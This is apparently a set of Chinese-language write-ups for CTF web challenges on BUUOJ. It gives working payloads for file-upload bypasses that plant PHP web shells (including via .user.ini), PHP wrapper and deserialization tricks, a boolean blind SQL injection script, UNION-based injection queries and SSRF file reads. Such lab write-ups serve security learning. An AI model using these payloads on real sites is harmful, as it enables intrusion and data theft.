Upload
考點:文件上傳繞過姿勢
拿到題目先上傳一張圖片馬,返回包含<?
我們再圖片馬的頭部加上防止過濾GIF89a,結果還是沒有繞過
重放,改文件名和文件頭最后phtml繞過成功,改寫一句話木馬
連接蟻劍,尋找flag,最后拿到flag
flag
flag{8d040fd2-e4ed-4992-94e9-cb657c587b10}
WEB-Checkin
考點:…user.ini的利用
拿到題目,先直接上傳一個php文件,回顯非法操作
burp抓包修改后,將文件后綴改為jpg,回顯包含?>
這里可以用一般的圖片馬來繞過(注意圖片中不能有"<?",這也是比較坑的地方),或者直接在內容上加上圖片的標識頭。比如:GIF,加上GIF89a后上傳成功在這里插入圖片描述
簡單來說就是根據文件頭來判斷文件的類型
下邊說下常見的幾種類型
1.JPG:FFD8FFFE00
2.GIF89a:474946383961
3.PNG:89504E470D0A
但上傳上去了只是jpg格式,沒法直接利用。是時候就引出了.user.ini文件了。比如,.urer.ini文件中內容:auto_prepend_file=1.jpg 那么,所有的php文件執行前都會將1.jpg當做php類型的文件先包含執行一遍。這也是這道題的關鍵,所以返回到這道題中來,我們先上傳一個.user.ini的文件,將其內容設置為auto_prepend_file=shell.jpg,別忘了加上圖片頭GIF
接着上傳一個C.jpg的一句話
最后構造payload,得到flag
flag
flag{fee03373-9d05-4c24-bcbf-fcca8b304478}
WEB-BackupFile
考點:文件包含
題目中沒有明顯的提示,所以掃一波目錄,最后發現有一個index.php.bak,打開文件后如下
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
要求GET方式傳遞一個Key值,並且Key必須為數字且等於123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3這一字符串,然后我們開始構造payload:http://45faf492-fb98-4956-b0b3-3b6477a74dc9.node3.buuoj.cn/index.php?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
考PHP的弱類型特性,int和string是無法直接比較的,php會將string轉換成int然后再進行比較,轉換成int比較時只保留數字,第一個字符串之后的所有內容會被截掉,所以相當於key只要等於123就滿足條件了:
flag
flag{3314e56d-e508-47bb-9222-182cc44f7d15}
WEB-[ACTF2020 新生賽]Upload
考點:前后端上傳繞過
拿到題后直接上馬
開來需要換馬了,上傳圖片馬后將文件后綴改為phtml,上傳成功
拿到flag
./uplo4d/4049fcbb2444d4374aa6d7741e919aec.phtml
flag
flag{c5deb5d1-ee1d-4454-8004-f21759ec3535}
WEB-BUYFLAG
考點:抓包
根據題目提示一個要滿足以下三個條件才能輸出flag,1.要求是Cuit的學生 2.要求password不是數字,但是要$password == 404 3.$money>=100000000
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
題目中說到用post請求
這里我們可以利用腳本
import requests
url='http://e61b9b5d-4e2c-4b69-abf8-a3fa4f5432b0.node3.buuoj.cn/pay.php'
headers={'cookie':'user=1'}
data={'password':'404]','money[]':'1'}
r = requests.post(url=url,headers=headers,data=data)
print(r.text)
最后得到flag
flag
flag{55c66831-6524-4211-b742-551a774375d9}
WEB-[ZJCTF 2019]NiZhuanSiWei
考點:繞過file_get_contents()、繞過正則表達式,php反序列化
給了一段源碼
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
//判斷$text變量是否存在並判斷"welcome to the zjctf"是否被寫入
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
//如果滿足條件輸出寫入的內容
if(preg_match("/flag/",$file)){ //不給你看flag
echo "Not now!";
exit();
}else{
include($file); //useless.php (題目源碼注釋)
//文件包含,已經提示要我們查看userless.php
$password = unserialize($password); //反序列化$password
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
可以用data偽協議來寫入?text=data:text/plain,welcome to the zjctf
接着是文件包含?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串base64,然后我們解碼一下得到一下內容
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?> IAo
- 繞過file_get_contents()
將welcome to the zjctf base64編碼 使用PHP偽協議data讀取數據流 可以成功繞過file_get_contents
對該代碼進行序列化得到的結果是O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”,最終形成的payload:/?text=data://text/plain; - 繞過正則表達式
使用數組即可成功繞過(一開始我的想法是直接包含flag.php 然后通過echo輸出$flag這個變量 這個想法不對)?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php - 讀取useless.php文件
看到注釋有個//uselees.php 最后看WP讀取的 (我服了自己了 明明可以通過PHP偽協議來讀取源碼的)
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
構造序列化獲取flag.php文件
<?php
class Flag{ //flag.php
public $file='flag.php'; //注意這里 我們這里賦值了flag.php文件
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
print_r(serialize(new Flag()));
//得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終payload:http://4986c622-dbe1-4c0b-bf75-a3df2264eba0.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}最后得到flag
flag
flag{3641011e-0e9e-4013-b16a-29094ed05102}
WEB-Hack World
考點:二分法爆破
查看源代碼得到通過post方法提交
根據提示知道 flag 位於 flag 表中的 flag 字段里搜索框輸入 1 或 2 會返回結果,其余返回 bool(false)嘗試注入 1 union select group_concat(flag) from flag.flag 返回 SQL Injection Checked.是因為后端過濾了 union、and、or、空格等,包括 /**/輸入 1/1 時會正常返回結果,可以判斷這是數字型的sql注入,考慮布爾盲注思路比較簡單,用 select 在數據庫中提取 flag 各位字母,用二分法(比直接枚舉快一點)逐位爆破sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)如果最外層括號(是否大於的判斷表達式)值為 True,與 0 異或中仍為 True,反之為 False
import requests
url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
flag = ''
def check(payload):
# print (payload)
upload = { 'id' : payload }
text = requests.post(url, data = upload).text
if ('Hello') in text: # 表達式為真時會返回 id = 1 的結果
return True
return False
for i in range(1,50):
l = 0; r = 255; // [0,255] 所有 ASCALL 字符區間
while (l<=r):
mid = (l + r) >> 1
sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) #注意不能留空格,一開始錯了
if (check(sql)):
l = mid + 1
else:
r = mid - 1
flag += chr(l)
print (flag)
flag
flag{4978f277-7b90-4b9a-bcd1-474db0b36e2b}
Easy MD5
考點:
拿到題目隨便上傳參數,從響應包中得到 select * from 'admin' where password=md5($pass,true)
得到新頁面./levels91.php
繼續抓新頁面的包,出現了新的規則
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
嘗試構造a[]=1&b[]=2,得到新的頁面levell14.php
然后我們繼續訪問新頁面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
最后利用post方式提交param1[]=1¶m2[]=2,得到flag
flag
flag{45b20aa6-daa4-4ba7-ad5a-5f68584a81b9}
WEB-Fakebook
考點:SSRF、sql注入
利用目錄掃描工具掃一波,得到user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
發現ssrf漏洞,其中用到的url就是我們注冊時填寫的blog,首先先注冊登錄,發現頁面view.php?no=1存在注入,來測探他的列書,輸入5返回錯誤,說明有4行
接下來爆一下數據庫view.php?no=0//union//select 1,group_concat(schema_name),3,4 from information_schema.schemata#
接下來查表view.php?no=0//union//select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
接下來查列view.php?no=0//union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
接下來查data,這里的數據被序列化,反序列化是我們的注冊信息
view.php?no=0//union//select 1,data,3,4 from users
因為存在flag.php所以嘗試用file://協議來讀取一下/var/www/html/flag.php,網頁源碼返回base64
base64解碼后得到flag
flag
flag{bf732a8d-a00c-48ad-b576-61e58e35493a}